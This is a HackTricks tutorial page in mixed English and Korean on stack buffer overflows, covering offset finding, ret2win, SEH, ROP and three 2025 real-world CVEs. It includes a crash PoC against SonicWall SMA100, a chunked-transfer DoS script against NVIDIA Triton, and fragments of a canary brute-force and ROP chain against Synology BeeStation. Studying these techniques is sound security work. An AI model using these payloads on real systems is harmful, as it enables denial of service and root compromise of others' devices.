Stack Overflow

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Stack Overflow๋ž€ ๋ฌด์—‡์ธ๊ฐ€

A stack overflow is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will overwrite adjacent memory space, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.

์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ(stack overflow)๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์Šคํƒ์— ํ• ๋‹น๋œ ์šฉ๋Ÿ‰๋ณด๋‹ค ๋” ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์“ธ ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด ์ดˆ๊ณผ๋œ ๋ฐ์ดํ„ฐ๋Š” ์ธ์ ‘ํ•œ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋ฎ์–ด์จ์„œ ์œ ํšจํ•œ ๋ฐ์ดํ„ฐ ์†์ƒ, ์ œ์–ด ํ๋ฆ„ ์žฅ์• , ๊ทธ๋ฆฌ๊ณ  ์ž ์žฌ์ ์œผ๋กœ ์•…์„ฑ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์ž…๋ ฅ์— ๋Œ€ํ•ด ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š๋Š” ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ํ•จ์ˆ˜์˜ ์‚ฌ์šฉ์œผ๋กœ ์ž์ฃผ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

The main problem of this overwrite is that the saved instruction pointer (EIP/RIP) and the saved base pointer (EBP/RBP) to return to the previous function are stored on the stack. Therefore, an attacker will be able to overwrite those and control the execution flow of the program.

์ด ๋ฎ์–ด์“ฐ๊ธฐ์˜ ์ฃผ์š” ๋ฌธ์ œ๋Š” ์ด์ „ ํ•จ์ˆ˜๋กœ ๋Œ์•„๊ฐ€๊ธฐ ์œ„ํ•œ **์ €์žฅ๋œ ๋ช…๋ น ํฌ์ธํ„ฐ (EIP/RIP)**์™€ **์ €์žฅ๋œ ๋ฒ ์ด์Šค ํฌ์ธํ„ฐ (EBP/RBP)**๊ฐ€ ์Šคํƒ์— ์ €์žฅ๋˜์–ด ์žˆ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ๋ฎ์–ด์จ์„œ ํ”„๋กœ๊ทธ๋žจ์˜ ์‹คํ–‰ ํ๋ฆ„์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

The vulnerability usually arises because a function copies inside the stack more bytes than the amount allocated for it, therefore being able to overwrite other parts of the stack.

์ด ์ทจ์•ฝ์ ์€ ๋ณดํ†ต ํ•จ์ˆ˜๊ฐ€ ์Šคํƒ์— ํ• ๋‹น๋œ ๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ๋ฐ”์ดํŠธ๋ฅผ ๋ณต์‚ฌํ•จ์œผ๋กœ์จ ๋ฐœ์ƒํ•˜๋ฉฐ, ๊ทธ ๊ฒฐ๊ณผ ์Šคํƒ์˜ ๋‹ค๋ฅธ ๋ถ€๋ถ„์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Some common functions vulnerable to this are: strcpy, strcat, sprintf, getsโ€ฆ Also, functions like fgets , read & memcpy that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.

์ด ์ทจ์•ฝ์ ์— ์ทจ์•ฝํ•œ ์ผ๋ฐ˜์ ์ธ ํ•จ์ˆ˜๋กœ๋Š” strcpy, strcat, sprintf, gets ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹คโ€ฆ ๋˜ํ•œ fgets, read ๋ฐ **memcpy**์™€ ๊ฐ™์ด ๊ธธ์ด ์ธ์ž๋ฅผ ๋ฐ›๋Š” ํ•จ์ˆ˜๋“ค๋„ ์ง€์ •๋œ ๊ธธ์ด๊ฐ€ ํ• ๋‹น๋œ ๊ฒƒ๋ณด๋‹ค ํฌ๋ฉด ์ทจ์•ฝํ•˜๊ฒŒ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

For example, the following functions could be vulnerable:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows offsets ์ฐพ๊ธฐ

stack overflows์„ ์ฐพ๋Š” ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ As(์˜ˆ: python3 -c 'print("A"*1000)')์ฒ˜๋Ÿผ ์•„์ฃผ ํฐ ์ž…๋ ฅ์„ ์ฃผ๊ณ  Segmentation Fault๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ์ด๋Š” address 0x41414141 was tried to be accessed๋ฅผ ๋‚˜ํƒ€๋‚ธ๋‹ค.

๋˜ํ•œ, Stack Overflow ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜๋ฉด overwrite the return address๊ฐ€ ๊ฐ€๋Šฅํ•ด์งˆ ๋•Œ๊นŒ์ง€์˜ offset์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ๋ณดํ†ต **De Bruijn sequence.**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ์ฃผ์–ด์ง„ ์•ŒํŒŒ๋ฒณ์˜ ํฌ๊ธฐ _k_์™€ ๋ถ€๋ถ„์ˆ˜์—ด ๊ธธ์ด _n_์— ๋Œ€ํ•ด, ์ด๊ฒƒ์€ ๊ธธ์ด _n_์˜ ๋ชจ๋“  ๊ฐ€๋Šฅํ•œ ๋ถ€๋ถ„์ˆ˜์—ด์ด ์—ฐ์† ๋ถ€๋ถ„์ˆ˜์—ด๋กœ ์ •ํ™•ํžˆ ํ•œ ๋ฒˆ์”ฉ ๋‚˜ํƒ€๋‚˜๋Š” cyclic sequence in which every possible subsequence of length n appears exactly once์ด๋‹ค.

์ด๋ ‡๊ฒŒ ํ•˜๋ฉด EIP๋ฅผ ์ˆ˜๋™์œผ๋กœ ์ œ์–ดํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค offset์ด ํ•„์š”ํ•œ์ง€ ์•Œ์•„๋‚ผ ํ•„์š” ์—†์ด, ํŒจ๋”ฉ์œผ๋กœ ์ด๋Ÿฐ ์‹œํ€€์Šค ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ๊ทธ๊ฒƒ์„ ๋ฎ์–ด์“ด ๋ฐ”์ดํŠธ๋“ค์˜ offset์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

Itโ€™s possible to use pwntools for this:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

๋˜๋Š” GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด(์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ํฌ๊ธฐ๊ฐ€ ์ถฉ๋ถ„ํžˆ ํฐ ๊ฒฝ์šฐ) ์Šคํƒ ๋‚ด๋ถ€์˜ ์ง€์—ญ ๋ณ€์ˆ˜ ๊ฐ’์„ ์ €์žฅ๋œ **EBP/RBP and EIP/RIP (or even more)**์— ๋„๋‹ฌํ•  ๋•Œ๊นŒ์ง€ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ํ•จ์ˆ˜๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์ด ํฌ์ธํ„ฐ์— ์‚ฌ์šฉ์ž๊ฐ€ ์ง€์ •ํ•œ ์œ„์น˜๋กœ ์ œ์–ด ํ๋ฆ„์ด ๋ฆฌ๋””๋ ‰์…˜๋˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ๋‹ค๋ฅธ ์ƒํ™ฉ์—์„œ๋Š” ๋‹จ์ˆœํžˆ ์Šคํƒ์˜ ์ผ๋ถ€ ๋ณ€์ˆ˜ ๊ฐ’์„ ๋ฎ์–ด์“ฐ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ต์Šคํ”Œ๋กœ์ž‡์ด ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: ์‰ฌ์šด CTF ๋ฌธ์ œ).

Ret2win

์ด ์ข…๋ฅ˜์˜ CTF ์ฑŒ๋ฆฐ์ง€์—์„œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด๋ถ€์— ์ ˆ๋Œ€ ํ˜ธ์ถœ๋˜์ง€ ์•Š๋Š” ํ•จ์ˆ˜๊ฐ€ ์กด์žฌํ•˜๋ฉฐ, ์Šน๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์ด ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ฑŒ๋ฆฐ์ง€์—์„œ๋Š” ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ธ ์˜คํ”„์…‹์„ ์ฐพ๊ณ  ํ˜ธ์ถœํ•  ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค(๋ณดํ†ต ASLR์€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Œ). ๊ทธ๋ž˜์„œ ์ทจ์•ฝํ•œ ํ•จ์ˆ˜๊ฐ€ ๋ฐ˜ํ™˜ํ•  ๋•Œ ์ˆจ๊ฒจ์ง„ ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค:

Ret2win

Stack Shellcode

์ด ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์Šคํƒ์— shellcode๋ฅผ ๋ฐฐ์น˜ํ•˜๊ณ  ์ œ์–ด๋˜๋Š” EIP/RIP๋ฅผ ์ด์šฉํ•ด shellcode๋กœ ์ ํ”„ํ•˜์—ฌ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows์—์„œ๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์ €์žฅ๋œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋Œ€์‹  Structured Exception Handler (SEH) ์ฒด์ธ์„ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ผ๋ฐ˜์ ์œผ๋กœ SEH ํฌ์ธํ„ฐ๋ฅผ POP POP RET ๊ฐ€์ ฏ์œผ๋กœ ๊ต์ฒดํ•˜๊ณ  4๋ฐ”์ดํŠธ nSEH ํ•„๋“œ๋ฅผ ์‚ฌ์šฉํ•ด shellcode๊ฐ€ ์žˆ๋Š” ํฐ ๋ฒ„ํผ๋กœ ๋‹ค์‹œ ํ”ผ๋ฒ—ํ•˜๋Š” ์งง์€ ์ ํ”„๋ฅผ ๋„ฃ์Šต๋‹ˆ๋‹ค. ํ”ํ•œ ํŒจํ„ด์€ nSEH์— ์žˆ๋Š” ์งง์€ jmp๊ฐ€ nSEH ๋ฐ”๋กœ ์•ž์— ๋†“์ธ 5-byte near jmp๋กœ ์ฐฉ์ง€ํ•˜์—ฌ ํŽ˜์ด๋กœ๋“œ ์‹œ์ž‘์ ์œผ๋กœ ์ˆ˜๋ฐฑ ๋ฐ”์ดํŠธ๋ฅผ ์ ํ”„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Windows Seh Overflow

ROP & Ret2โ€ฆ techniques

์ด ๊ธฐ๋ฒ•์€ ์•ž์„œ์˜ ๊ธฐ๋ฒ•์— ์ ์šฉ๋˜๋Š” ์ฃผ์š” ๋ณดํ˜ธ ์žฅ์น˜์ธ **No executable stack (NX)**๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ๋ณธ ํ”„๋ ˆ์ž„์›Œํฌ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด ๊ธฐ์กด ๋ช…๋ น๋“ค์„ ์•…์šฉํ•ด ์ž„์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ์—ฌ๋Ÿฌ ๋‹ค๋ฅธ ๊ธฐ๋ฒ•(ret2lib, ret2syscallโ€ฆ)์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

ROP & JOP

Heap Overflows

์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ํ•ญ์ƒ ์Šคํƒ์—์„œ๋งŒ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์€ ์•„๋‹ˆ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด heap์—์„œ๋„ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Heap Overflow

Types of protections

์ทจ์•ฝ์ ์˜ ์•…์šฉ์„ ๋ง‰๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ•๋“ค์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

sscanf๋ฅผ ์‹ ๋ขฐํ•ด์„œ๋Š” ์•ˆ ๋˜๋Š” ์ด์œ ๋ฅผ ์ž˜ ๋ณด์—ฌ์ฃผ๋Š” ์‚ฌ๋ก€๊ฐ€ 2025๋…„์— SonicWall์˜ SMA100 SSL-VPN ์žฅ์น˜์—์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. /usr/src/EasyAccess/bin/httpd ๋‚ด๋ถ€์˜ ์ทจ์•ฝํ•œ ๋ฃจํ‹ด์€ /__api__/๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ชจ๋“  URI์—์„œ ๋ฒ„์ „๊ณผ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ถ”์ถœํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. ์ฒซ ๋ฒˆ์งธ ๋ณ€ํ™˜ (%2s)์€ version์— ๋‘ ๋ฐ”์ดํŠธ๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: "v1").
  2. ๋‘ ๋ฒˆ์งธ ๋ณ€ํ™˜ (%s)๋Š” ๊ธธ์ด ์ง€์ •์ž๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค, ๋”ฐ๋ผ์„œ sscanf๋Š” ์ฒซ ๋ฒˆ์งธ NUL byte๊ฐ€ ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ๊ณ„์† ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.
  3. endpoint๊ฐ€ stack์— ์œ„์น˜ํ•˜๊ณ  0x800 bytes long์ด๊ธฐ ๋•Œ๋ฌธ์—, ๊ธธ์ด๊ฐ€ 0x800 bytes๋ฅผ ์ดˆ๊ณผํ•˜๋Š” path๋ฅผ ์ œ๊ณตํ•˜๋ฉด ๋ฒ„ํผ ๋’ค์— ์žˆ๋Š” ๋ชจ๋“  ๊ฒƒ์ด ์†์ƒ๋ฉ๋‹ˆ๋‹ค โ€‘ ์—ฌ๊ธฐ์—๋Š” stack canary์™€ saved return address๋„ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

ํ•œ ์ค„์˜ proof-of-concept๋งŒ์œผ๋กœ๋„ ์ธ์ฆ ์ „์— ํฌ๋ž˜์‹œ๋ฅผ ์œ ๋ฐœํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

stack canaries๊ฐ€ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ค‘๋‹จ์‹œํ‚ค๋”๋ผ๋„, ๊ณต๊ฒฉ์ž๋Š” ์—ฌ์ „ํžˆ Denial-of-Service ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  ์ถ”๊ฐ€์ ์ธ ์ •๋ณด leaks๊ฐ€ ์žˆ์œผ๋ฉด code-execution๋„ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ๋‹ค).

์‹ค์ œ ์‚ฌ๋ก€: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA์˜ Triton Inference Server (โ‰ค v25.06)์—๋Š” HTTP API๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์—ฌ๋Ÿฌ stack-based overflows๊ฐ€ ์กด์žฌํ–ˆ๋‹ค. ์ทจ์•ฝํ•œ ํŒจํ„ด์€ http_server.cc์™€ sagemaker_server.cc์— ๋ฐ˜๋ณต์ ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ๋‹ค:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) returns the ํ˜„์žฌ HTTP ์š”์ฒญ ๋ณธ๋ฌธ์„ ๊ตฌ์„ฑํ•˜๋Š” ๋‚ด๋ถ€ ๋ฒ„ํผ ์„ธ๊ทธ๋จผํŠธ์˜ ์ˆ˜.
  2. ๊ฐ ์„ธ๊ทธ๋จผํŠธ๋Š” alloca()๋ฅผ ํ†ตํ•ด stack์— 16-byte evbuffer_iovec๊ฐ€ ํ• ๋‹น๋œ๋‹ค โ€“ ์ƒํ•œ ์—†์ด.
  3. **HTTP chunked transfer-encoding**๋ฅผ ์•…์šฉํ•˜๋ฉด ํด๋ผ์ด์–ธํŠธ๋Š” ์š”์ฒญ์„ 6-byte์งœ๋ฆฌ ์ฒญํฌ ์ˆ˜์‹ญ๋งŒ ๊ฐœ ("1\r\nA\r\n")๋กœ ๋ถ„ํ• ํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋กœ ์ธํ•ด n์ด ์Šคํƒ์ด ์†Œ์ง„๋  ๋•Œ๊นŒ์ง€ ๋ฌดํ•œํžˆ ์ฆ๊ฐ€ํ•œ๋‹ค.

๊ฐœ๋… ์ฆ๋ช…(DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=โ€œlocalhostโ€, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( fโ€œPOST /v2/models/add_sub/infer HTTP/1.1\r\nโ€œ fโ€œHost: {host}:{port}\r\nโ€œ โ€œContent-Type: application/octet-stream\r\nโ€ โ€œInference-Header-Content-Length: 0\r\nโ€ โ€œTransfer-Encoding: chunked\r\nโ€ โ€œConnection: close\r\n\r\nโ€ ).encode())

for _ in range(chunks): # 6-byte chunk โžœ 16-byte alloc s.send(bโ€œ1\r\nA\r\nโ€œ) # amplification factor โ‰ˆ 2.6x s.sendall(bโ€œ0\r\n\r\nโ€œ) # end of chunks s.close()

if name == โ€œmainโ€: exploit(*sys.argv[1:])

</details>
์•ฝ ~3 MB ์š”์ฒญ์ด๋ฉด ์ €์žฅ๋œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ๋ฎ์–ด์“ฐ๊ณ  ๊ธฐ๋ณธ ๋นŒ๋“œ์—์„œ ๋ฐ๋ชฌ์„ **crash** ์‹œํ‚ค๊ธฐ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktivโ€™s Pwn2Own 2025 chain์€ ํฌํŠธ 5000์˜ `SYNO.BEE.AdminCenter.Auth`์—์„œ pre-auth overflow๋ฅผ ์•…์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. `AuthManagerImpl::ParseAuthInfo`๋Š” ๊ณต๊ฒฉ์ž ์ž…๋ ฅ์„ Base64-๋””์ฝ”๋”ฉํ•˜์—ฌ 4096๋ฐ”์ดํŠธ ์Šคํƒ ๋ฒ„ํผ์— ์ €์žฅํ•˜์ง€๋งŒ `decoded_len = auth_info->len`๋กœ ์ž˜๋ชป ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. CGI ์›Œ์ปค๊ฐ€ ์š”์ฒญ๋งˆ๋‹ค fork๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ ์ž์‹์€ ๋ถ€๋ชจ์˜ stack canary๋ฅผ ์ƒ์†๋ฐ›์•„, ํ•˜๋‚˜์˜ ์•ˆ์ •์ ์ธ overflow primitive๋งŒ์œผ๋กœ๋„ ์Šคํƒ์„ ์†์ƒ์‹œํ‚ค๊ณ  ํ•„์š”ํ•œ ๋ชจ๋“  ๋น„๋ฐ€์„ leakํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

#### Base64-decoded JSON as a structured overflow
๋””์ฝ”๋”ฉ๋œ ๋ธ”๋กญ์€ ์œ ํšจํ•œ JSON์ด์–ด์•ผ ํ•˜๋ฉฐ `"state"` ๋ฐ `"code"` ํ‚ค๋ฅผ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ํŒŒ์„œ๋Š” overflow๊ฐ€ ์œ ์šฉํ•˜๊ธฐ ์ „์— ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. Synacktiv์€ JSON์œผ๋กœ ๋””์ฝ”๋”ฉ๋˜๋Š” ํŽ˜์ด๋กœ๋“œ, ๊ทธ ๋‹ค์Œ NUL ๋ฐ”์ดํŠธ, ๊ทธ๋ฆฌ๊ณ  overflow ์ŠคํŠธ๋ฆผ์„ Base64๋กœ ์ธ์ฝ”๋”ฉํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค. `strlen(decoded)`๋Š” NUL์—์„œ ๋ฉˆ์ถ”๋ฏ€๋กœ ํŒŒ์‹ฑ์€ ์„ฑ๊ณตํ•˜์ง€๋งŒ `SLIBCBase64Decode`๋Š” ์ด๋ฏธ JSON ๊ฐ์ฒด๋ฅผ ์ง€๋‚˜ ์Šคํƒ์„ ๋ฎ์–ด์จ canary, saved RBP, ๊ทธ๋ฆฌ๊ณ  return address๋ฅผ ๋ฎ์—ˆ์Šต๋‹ˆ๋‹ค.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. ์ต์Šคํ”Œ๋กœ์ž‡์€ HTTP status code๋ฅผ oracle๋กœ ์ทจ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค: 200 ์‘๋‹ต์€ ์ถ”์ธกํ•œ ๋ฐ”์ดํŠธ๊ฐ€ ์Šคํƒ์„ ๋ณด์กดํ–ˆ์Œ์„ ์˜๋ฏธํ•˜๊ณ , 502(๋˜๋Š” ์—ฐ๊ฒฐ์ด ๋Š๊น€)๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ํฌ๋ž˜์‹œํ–ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. Brute-forcing ๊ฐ ๋ฐ”์ดํŠธ๋ฅผ ์ˆœ์ฐจ์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๋ฉด 8-byte canary, ์ €์žฅ๋œ stack pointer, ๊ทธ๋ฆฌ๊ณ  libsynobeeadmincenter.so ๋‚ด๋ถ€์˜ return address๋ฅผ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr๋Š” ํ™•์ธ๋œ ์ ‘๋‘์‚ฌ๋ฅผ ๋ง๋ถ™์ด๋ฉฐ bf_next_byte๋ฅผ ์—ฌ๋Ÿ ๋ฒˆ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. Synacktiv๋Š” ์ด๋Ÿฌํ•œ oracles๋ฅผ ์•ฝ 16๊ฐœ์˜ worker threads๋กœ ๋ณ‘๋ ฌํ™”ํ•˜์—ฌ ์ „์ฒด leak ์‹œ๊ฐ„ (canary + stack ptr + lib base)์„ 3๋ถ„ ๋ฏธ๋งŒ์œผ๋กœ ๋‹จ์ถ•ํ–ˆ์Šต๋‹ˆ๋‹ค.

From leaks to ROP & execution

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ base๊ฐ€ ์•Œ๋ ค์ง€๋ฉด, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret)๊ฐ€ arb_write primitive๋ฅผ ๊ตฌ์„ฑํ•˜์—ฌ /bin/bash, -c, ๋ฐ ๊ณต๊ฒฉ์ž ๋ช…๋ น์„ leaked stack ์ฃผ์†Œ์— ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ ์ฒด์ธ์€ SLIBCExecl(execl(2)์˜ BeeStation ๋ž˜ํผ)์— ๋Œ€ํ•œ calling convention์„ ์„ค์ •ํ•˜์—ฌ ๋ณ„๋„์˜ info-leak ๋ฒ„๊ทธ ์—†์ด root shell์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ